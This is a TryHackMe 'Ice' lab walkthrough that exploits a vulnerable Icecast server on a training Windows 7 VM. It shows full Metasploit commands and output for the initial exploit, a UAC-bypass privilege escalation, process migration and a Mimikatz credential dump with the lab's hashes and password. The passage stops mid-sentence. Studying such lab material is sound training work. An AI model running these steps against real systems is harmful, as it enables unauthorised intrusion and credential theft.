Hello everyone, and welcome to a new video in the
TryHackMe
playlist! This is my first walkthrough video on TryHackMe, and in this video,
we'll be exploiting and gaining privilege escalation on a vulnerable VM called
"Ice."
You might wonder why I chose this VM. During my time with
VulnHub, I never encountered any Windows-vulnerable VMs. So, I decided to
explore TryHackMe. Although several Windows VMs are available, I decided
to start with a free one, and "Ice" was my choice.
As I mentioned in my introductory video, TryHackMe is known
for its structured learning paths. In this video, our goal is to follow the
given tasks, deploy, and hack into a Windows machine by exploiting a poorly
secured media server.
Task 1: Connect
Connecting to the TryHackMe network is the primary step, and
it's crucial to remember that you must connect every time you start your
attacking machine.
To connect to the TryHackMe network, we use a bridge, and
the most commonly used one is
OpenVPN
. If you've watched the
HackTheBox
series,
you'll be familiar with how we use OpenVPN for this purpose.
Here’s how to do it:
First, Download the Configuration File. So, Visit the
TryHackMe
access page and download the
OpenVPN configuration file.
Now, Open a Terminal. Use the OpenVPN client tool to
connect. Ensure you use sudo for the command.
┌──(kali㉿kali)-[~]
└─$
sudo openvpn <OpenVPN Configuration file>
When you run this command, you'll
see a lot of text. At the end, it should say "
Initialization Sequence
Completed
."
You can verify your connection by looking at your access
page on TryHackMe. Refresh the page, and you should see a green tick next to
"
Connected
." It will also show your internal IP address.
Now that you're connected, you are ready to use the machines
on the TryHackMe network! When we deploy the VM in our task, you'll see its
internal IP
address.
Note that, the virtual machine used in this room (
Ice
) can
also be downloaded for offline usage. Click on the provided link to access the
download page. Additionally, the sequel to this room, Blaster, can be found
there as well.
Task 2: Recon
In the past, I used the term "
Enumeration," which
is synonymous with "
Recon
." So don't get confused by the terminology.
Our first priority is to scan and enumerate our target. But before we do that,
we need to identify our target.
First, we have to deploy the machine! This may take up to
three minutes to start. Once the machine is deployed, the target IP address
will be provided.
For this task, the target IP is
10.10.162.253
.
Before proceeding, ensure that the target is reachable by
performing a
ping test
. This helps confirm that the target is connected to our
network and is receiving data.
┌──(kali㉿kali)-[~]
└─$
ping 10.10.162.253
PING 10.10.162.253 (10.10.162.253) 56(84) bytes of data.
64 bytes from 10.10.162.253: icmp_seq=1 ttl=124 time=479 ms
64 bytes from 10.10.162.253: icmp_seq=2 ttl=124 time=228 ms
64 bytes from 10.10.162.253: icmp_seq=3 ttl=124 time=242 ms
^C
--- 10.10.162.253 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 227.922/316.024/478.592/115.087 ms
┌──(kali㉿kali)-[~]
└─$
So, let's now perform a network scan to detect which ports
are open. This is a crucial part of the recon process as it helps us understand
the attack surface and plan targeted attacks.
Perform Network Scan using Nmap
We will use the famous
Nmap
tool for this purpose.
┌──(kali㉿kali)-[~]
└─$
nmap -sC -sV -Pn 10.10.162.253
Where,
- The
-sC
option is used to perform a script scan
using the default set of scripts. It's useful for gathering additional
information about the target.
- The
-sV
option enables version detection, which
identifies the versions of services running on open ports.
- The
-Pn
option is used when we want to perform a scan
without pinging the target first. It treats all hosts as online, which is
useful if
ICMP requests
are blocked.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 22:56 IST
Nmap scan report for 10.10.162.253
Host is up (0.41s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Dark-PC
| Not valid before: 2024-07-22T17:04:45
|_Not valid after: 2025-01-21T17:04:45
| rdp-ntlm-info:
| Target_Name: DARK-PC
| NetBIOS_Domain_Name: DARK-PC
| NetBIOS_Computer_Name: DARK-PC
| DNS_Domain_Name: Dark-PC
| DNS_Computer_Name: Dark-PC
| Product_Version: 6.1.7601
|_ System_Time: 2024-07-23T17:29:31+00:00
|_ssl-date: 2024-07-23T17:30:01+00:00; 0s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp open http Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 59m59s, deviation: 2h14m10s, median: 0s
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS:
Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional
6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name:
Dark-PC
| NetBIOS computer name: DARK-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-07-23T12:29:31-05:00
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:09:ae:e3:d7:9b (unknown)
| smb2-time:
| date: 2024-07-23T17:29:32
|_ start_date: 2024-07-23T17:04:44
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 220.98 seconds
┌──(kali㉿kali)-[~]
└─$
The network scan reveals several important details about the
host at the IP address,
10.10.162.253
,
which appears to be a
Windows 7
machine named "
Dark-PC
" within a
workgroup called "
WORKGROUP
." The scan identified 10 open ports, each
associated with specific services:
-
135/TCP (msrpc): This port is used by
Microsoft Windows RPC
(Remote Procedure Call)
, a core functionality for communication between
applications and services.
-
139/TCP (netbios-ssn): This port is used by
Microsoft's
NetBIOS
name service, enabling network browsing and resource sharing.
-
445/TCP (microsoft-ds):
Commonly used for
SMB (Server
Message Block)
file sharing, this port provides access to Windows file systems.
The scan also revealed that the operating system version is
Windows 7
Professional 7601 Service Pack 1
, and the machine is part of the
"
WORKGROUP
" workgroup.
-
3389/TCP (ssl/ms-wbt-server?): Typically used for
Remote
Desktop Protocol (RDP) with SSL
, this port was found to have a self-signed
certificate named "Dark-PC," valid from July 22nd, 2024, to January
21st, 2025.
-
5357/TCP (http): This port hosts a basic web server running
Microsoft HTTP API httpd 2.0
. The server responded with "
Service
Unavailable
."
-
8000/TCP (http): Another web server is potentially running
on this port, possibly an Icecast streaming media server. However, specific
title information was unavailable.
-
49152/TCP, 49153/TCP, 49154/TCP, 49158/TCP, 49159/TCP,
49160/TCP (msrpc):
These ports are associated with additional
Microsoft Windows
RPC
services. They are currently identified as unknown, and further
investigation might be needed to determine their exact purpose.
Answer the questions below
What is the Port number of one of
the more interesting ports that is open Microsoft Remote Desktop (MSRDP)?
- As I already told you this is: 3389
What service did nmap identify as
running on port 8000? (First word of this service)
- This port 8000 runs the Icecast streaming media server. So,
the first word of this service is
Icecast.
What does Nmap identify as the
hostname of the machine?
- The hostname identified by Nmap is DARK-PC.
Now, let's move on to Task 3.
Task 3: Gain Access
Gaining access involves exploiting a vulnerability to
establish a foothold on the target system. In our previous task, we identified
several interesting services running on our target machine, including Icecast.
Icecast
is an open-source software that allows
streaming
audio content over the internet
, much like a digital radio station. It can be
used for creating online radio stations or hosting personal audio libraries.
However, the version of Icecast running on our target has significant
vulnerabilities with a high-risk level, scoring around 7.5 (or 7.4 depending on
the source).
Answer the questions below
What is the Impact Score for this
vulnerability? It has given a hint to use CVEdetails.com, to find the impact
score.
However, I couldn’t find the information directly on the
site. Instead, I used a useful trick: a Google search led me to an
Exploit DB
link where the CVE details are available.
The vulnerability in question is associated with
Icecast
2.0.1 (Win32)
and is identified as
CVE-2004-1561.
- Based on the details found,
the Impact Score for this vulnerability is 6.4.
What is the CVE number for this
vulnerability?
- The CVE number is already told, that is
CVE-2004-1561
.
Now that we’ve identified the vulnerability, let’s find and
use the corresponding exploit with Metasploit.
Exploit using MSF Console
Let's go ahead and launch the
Metasploit framework.
┌──(kali㉿kali)-[~]
└─$
sudo msfdb start && msfconsole
[sudo] password for kali:
[i] Database already started
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
Once the
Metasploit console starts, search for the exploit related to Icecast using:
search icecast
.
msf6 >
search icecast
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0
exploit/windows/http/icecast_header
2004-09-28 great No Icecast Header Overwrite
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
msf6 >
What is the full path for the exploitation module?
- The path for the exploitation module is
/exploit/windows/http/icecast_header/
.
It shows us one module related to Icecast. Let's go ahead
and select this module for use. Type the command `
use 0
` to select our search
result.
msf6 >
use 0
[*] No payload configured, defaulting to
windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >
Following selecting our module, we now have to check what
options we have to set. Run the command `
options
`.
msf6 exploit(windows/http/icecast_header) >
options
Module options (exploit/windows/http/icecast_header):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS
yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 8000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15
yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/icecast_header) >
By looking at the options, we’ll need to set the
RHOSTS
(Target IP address)
and the
LHOST
(Attacker’s IP address)
. The IP address for
LHOST
can be found on the
tun0
adapter.
With all options set, we are now ready to execute the
exploit.
msf6 exploit(windows/http/icecast_header) >
set RHOSTS 10.10.162.253
RHOSTS => 10.10.162.253
msf6 exploit(windows/http/icecast_header) >
set LHOST 10.17.23.11
LHOST => 10.17.23.11
msf6 exploit(windows/http/icecast_header) >
Upon successful attempt, we have successfully got a Meterpreter
session.
msf6 exploit(windows/http/icecast_header) >
run
[*] Started reverse TCP handler on 10.17.23.11:4444
[*] Sending stage (176198 bytes) to 10.10.162.253
[*] Meterpreter session 1 opened (10.17.23.11:4444 -> 10.10.162.253:49260) at 2024-07-23 23:26:12 +0530
meterpreter >
Answer the given questions
The only required setting that is currently blank is RHOSTS.
- Although
LHOST
is required, if you
are using a paid membership or an online attacking machine,
LHOST
might already be set.
Task 4: Escalate
Previously, we’ve successfully gained access to the victim
machine! Now, it’s time to enumerate the system and identify potential
privilege escalation paths to gain administrative powers. Let’s follow the
steps below to gather the necessary information:
To not distract our path we will follow the questions
below.
What's the name of
the shell we have now?
- We are currently using the
Meterpreter
shell.
What user was running
that Icecast process?
To determine which user is running the Icecast process, we
need to check the running processes. Use the
ps
command in
Meterpreter.
meterpreter >
ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
100 692 svchost.exe
416 4 smss.exe
508 692 svchost.exe
544 536 csrss.exe
592 536 wininit.exe
604 584 csrss.exe
652 584 winlogon.exe
688 692 TrustedInstaller.exe
692 592 services.exe
700 592 lsass.exe
708 592 lsm.exe
820 692 svchost.exe
888 692 svchost.exe
936 692 svchost.exe
1064 692 svchost.exe
1144 692 svchost.exe
1304 692 spoolsv.exe
1340 692 svchost.exe
1396 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe
1420 100 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1444 1388 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
1576 692 amazon-ssm-agent.exe
1584 820 WmiPrvSE.exe
1656 692 LiteAgent.exe
1696 692 svchost.exe
1856 692 Ec2Config.exe
2096 692 svchost.exe
2164 692 vds.exe
2248 820 slui.exe x64 1 Dark-PC\Dark C:\Windows\System32\slui.exe
2256 1444 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
2412 692 sppsvc.exe
2580 692 SearchIndexer.exe
meterpreter >
- From the output, you’ll
see that the Icecast process (
Icecast2.exe
)
is running under the user
Dark.
Answer the questions below
Top of
Form
What build of Windows
is the system?
To get the Windows build information, use the
sysinfo
command in
Meterpreter.
meterpreter >
sysinfo
Computer :
DARK-PC
OS :
Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture :
x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
- The build number of the Windows system is
7601.
Now that we know some
of the finer details of the system we are working with, let's start escalating
our privileges. First, what is the architecture of the process we're running?
- As from the system information, we already found that the architecture is
X64
.
Now that we know the architecture of the process, let's
perform additional reconnaissance. Although this may not be as effective on x64 machines, we should run this command to find potential exploits.
This command may appear to hang for a few minutes as it tests various exploits. Once it completes, it will provide a list of potential local exploits for privilege escalation.
meterpreter >
run post/multi/recon/local_exploit_suggester
[*] 10.10.162.253 - Collecting local exploits for x86/windows...
[*] 10.10.162.253 - 193 exploit checks are being tried...
[+] 10.10.162.253 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.162.253 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.162.253 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.10.162.253 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.162.253 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1
exploit/windows/local/bypassuac_eventvwr
Yes The target appears to be vulnerable.
2 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
3 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
8 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
9 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
10 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
11 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
12 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
13 exploit/windows/local/always_install_elevated No The target is not exploitable.
14 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpndownloader.exe not found on file system
15 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
16 exploit/windows/local/bthpan No The target is not exploitable.
17 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
18 exploit/windows/local/bypassuac_sluihijack No The target is not exploitable.
19 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
20 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
21 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
22 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
23 exploit/windows/local/ikeext_service No The check raised an exception.
24 exploit/windows/local/ipass_launch_app No The check raised an exception.
25 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
26 exploit/windows/local/lexmark_driver_privesc No The check raised an exception.
27 exploit/windows/local/mqac_write No The target is not exploitable.
28 exploit/windows/local/ms10_015_kitrap0d No The target is not exploitable.
29 exploit/windows/local/ms14_070_tcpip_ioctl No The target is not exploitable.
30 exploit/windows/local/ms15_004_tswbproxy No The target is not exploitable.
31 exploit/windows/local/ms16_016_webdav No The target is not exploitable.
32 exploit/windows/local/ms16_032_secondary_logon_handle_privesc No The target is not exploitable.
33 exploit/windows/local/ms16_075_reflection No The target is not exploitable.
34 exploit/windows/local/ms16_075_reflection_juicy No The target is not exploitable.
35 exploit/windows/local/ms_ndproxy No The target is not exploitable.
36 exploit/windows/local/novell_client_nicm No The target is not exploitable.
37 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
38 exploit/windows/local/panda_psevents No The target is not exploitable.
39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
40 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
41 exploit/windows/local/webexec No The check raised an exception.
meterpreter >
From the results, we have to select an appropriate exploit
that could provide full access. For this walkthrough, we will choose the first
exploit.
Answer the questions below
What is the full path for the first
returned exploit?
- The path for the first exploit is
exploit/windows/local/
bypassuac_eventvwr.
Once you’ve identified the exploit to use, background the
current session to proceed with the next steps. You can do this by typing,
background
or by pressing Ctrl + Z
.
meterpreter >
Background session 1? [y/N]
msf6 exploit(windows/http/icecast_header) >
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows Dark-PC\Dark @ DARK-PC 10.17.23.11:4444 -> 10.10.162.253:49260 (10.10.162.253)
msf6 exploit(windows/http/icecast_header) >
Before proceeding with the exploit, take note of the session
number you have. You can list all active sessions by using the command
sessions
when outside the
Meterpreter shell. In my case, the session number is
1.
Now, go ahead and select the previously identified local
exploit for use with the command,
use, and then specify the full path for the exploit.
msf6 exploit(windows/http/icecast_header) >
use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to
windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) >
It’s time to check the available options to configure.
msf6 exploit(windows/local/bypassuac_eventvwr) >
options
Module options (exploit/windows/local/bypassuac_eventvwr):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15
yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/bypassuac_eventvwr) >
Local exploits require a session to be specified, so set this by running: set session <specify the session number>
, that is, also after setting the session number, additional options need to be configured from the options menu. We'll have to set one more as our
listener IP
isn't correct.
So, Set the
LHOST
option now.
msf6 exploit(windows/local/bypassuac_eventvwr) >
set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_eventvwr) >
set LHOST 10.17.23.11
LHOST => 10.17.23.11
msf6 exploit(windows/local/bypassuac_eventvwr) >
Answer the questions below
What
is the name of this option?
Once, the necessary options are configured, we now can run the
privilege escalation exploit by typing:
run.
Please note that this might take a few attempts, and you may need to restart the machine and re-exploit the service if the initial attempt fails. After successfully escalating privileges, a new Meterpreter session should open.
msf6 exploit(windows/local/bypassuac_eventvwr) >
run
[*] Started reverse TCP handler on 10.17.23.11:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (176198 bytes) to 10.10.162.253
[*] Cleaning up registry keys ...
[*] Meterpreter session 2 opened (10.17.23.11:4444 -> 10.10.162.253:49275) at 2024-07-23 23:38:55 +0530
meterpreter >
So, we can now verify the expanded permissions using the command,
getprivs.
meterpreter >
getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter >
Answer the questions below
What permission listed allows us to take
ownership of files?
- The “
SeTakeOwnershipPrivilege
” permission listed allows us
to take ownership of files.
Let’s move on to the next task.
Task 5: Looting
In this task, we will learn how to gather additional
credentials and crack the saved hashes on the machine. Before proceeding, we
need to migrate to a process that has the necessary permissions to interact
with the
lsass
service, which handles authentication in Windows.
Before further action, we need to move to a process that
actually has the permissions that we need to interact with the
lsass
service,
the service responsible for authentication within Windows.
To identify a suitable process, we first list all running
processes by using the command ps. This will display a list of processes along
with their
process IDs (PIDs), names, and the users running them.
meterpreter >
ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
100 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
508 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
544 536 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
592 536 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
604 584 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
652 584 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
688 692 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
692 592 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
700 592 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
708 592 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
808 604 conhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\conhost.exe
820 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
888 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
936 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1064 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1144 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1216 1976 powershell.exe x86 1 Dark-PC\Dark C:\Windows\SysWOW64\WindowsPowershell\v1.0\powershell.exe
1304 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM
C:\Windows\System32\spoolsv.exe
1340 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1396 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe
1420 100 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1444 1388 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
1576 692 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1584 820 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
1656 692 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe
1696 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1856 692 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
2096 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
2164 692 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe
2248 820 slui.exe x64 1 Dark-PC\Dark C:\Windows\System32\slui.exe
2256 1444 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
2272 692 taskhost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\taskhost.exe
2412 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe
2580 692 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
meterpreter >
Now, we have to identify a Suitable Process.
Look for processes running under NT AUTHORITY\SYSTEM
account. Even though our current process may not have the required permissions,
we can migrate to a process running as
SYSTEM
to gain full access.
By migrating to a
SYSTEM-level process, we gain the
necessary privileges to interact with the
lsass
service and extract credentials. Once we've
identified a suitable process, we can proceed with the migration and begin
gathering credentials.
In order to interact with,
lsass
, we need to be within a process that matches
the architecture of the
lsass
service (x64 in this case) and has the same permissions. The printer spool service is ideal
for this purpose, as it meets the necessary criteria and will automatically
restart if it crashes.
Answer the questions below
What's the name of the printer
service?
- The answer is
spoolsv.exe
.
When we say '
living in
' a process, it refers to the
technique of injecting malicious code into a running program by loading a
shared library (DLL)
into it. This can allow us to spawn a new thread that
hosts our shell. To migrate to the printer spool service, use the command:
migrate -N <specify the PROCESS_NAME>.
meterpreter >
migrate -N spoolsv.exe
[*] Migrating from 1216 to 1304...
[*] Migration completed successfully.
meterpreter >
Let’s Check the Current User. After migrating, verify the
user context by running the command
getuid.
meterpreter >
getuid
Server username:
NT AUTHORITY\SYSTEM
meterpreter >
Answer the questions below
What user is listed?
- The answer should be
NT AUTHORITY\SYSTEM.
Now that we've achieved full administrator permissions, we
can focus on extracting valuable information and credentials from the system.
Using Mimikalz
Mimikatz
is a well-known tool for dumping passwords and is
incredibly useful for gathering credentials. In our meterpreter session, we can
use the updated version of Mimikatz, known as
Kiwi
, by loading it with the
command
load kiwi
.
Use the command
load kiwi
to load Kiwi into the meterpreter
session. This will expand the help menu with new commands available for use.
meterpreter >
load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter >
Check the newly added commands by typing
help
to see what options
are available. Here, it is.
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_livessp Retrieve Live SSP creds
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitrary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)
For more info on a specific command, use <command> -h or help <command>.
Answer the questions below
Which command allows up to retrieve all
credentials?
- The answer is the
creds_all
command, which retrieves all credentials
from the system.
Run the
creds_all
command, to dump all available credentials.
meterpreter >
creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Dark Dark-PC e52cac67419a9a22ecb08369099ed302 7c4fe5eada682714a036e39378362bab 0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DARK-PC$ WORKGROUP (null)
Dark Dark-PC
Password01!
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Dark Dark-PC Password01!
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Dark Dark-PC Password01!
dark-pc$ WORKGROUP (null)
meterpreter >
Mimikatz can extract these
